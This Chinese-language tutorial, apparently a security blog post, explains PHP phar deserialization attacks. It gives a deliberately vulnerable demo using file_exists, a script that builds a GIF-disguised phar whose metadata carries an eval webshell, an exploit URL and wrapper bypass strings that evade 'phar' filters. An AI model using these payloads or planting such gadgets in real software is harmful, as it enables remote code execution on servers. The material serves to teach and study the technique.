phar是一种文件格式,用于将整个PHP应用程序(包括PHP文件、脚本和其他资源)打包成单个文件。PHAR文件具有.phar扩展名,通常用作PHP应用程序的分发格式,因为它们可以在安装了PHP的任何系统上轻松部署和运行。
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
其中meta-data是关键
这个有序列化操作,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下:
下面是个简单的例子:
首先要在php.ini里面把readonly的值设置为Off
创建一个测试环境demo(1.php)模拟反序列化。
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); //通过file_exists参数来触发反序列化
再创建一个生成phar文件的demo(2.php)模拟序列化。
<?php
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar'); //文件格式必须是.phar结尾
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //伪装诚gif文件
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'eval(@$_GET[\'a\']);';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
把生成phar文件的demo放在测试环境的根目录下,让php解析发现会生成phar.phar文件,将phar.phar改成phar.gif文件。
此时查看phar.gif
此时访问
http://127.0.0.1:8036/1.php?filename=phar://phar.gif&a=phpinfo();
利用条件:
关闭readonly模式
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
要有可用的魔术方法作为“跳板”。
一些绕过方式
当环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
参考:
https://blog.csdn.net/xiaolong22333/article/details/116092578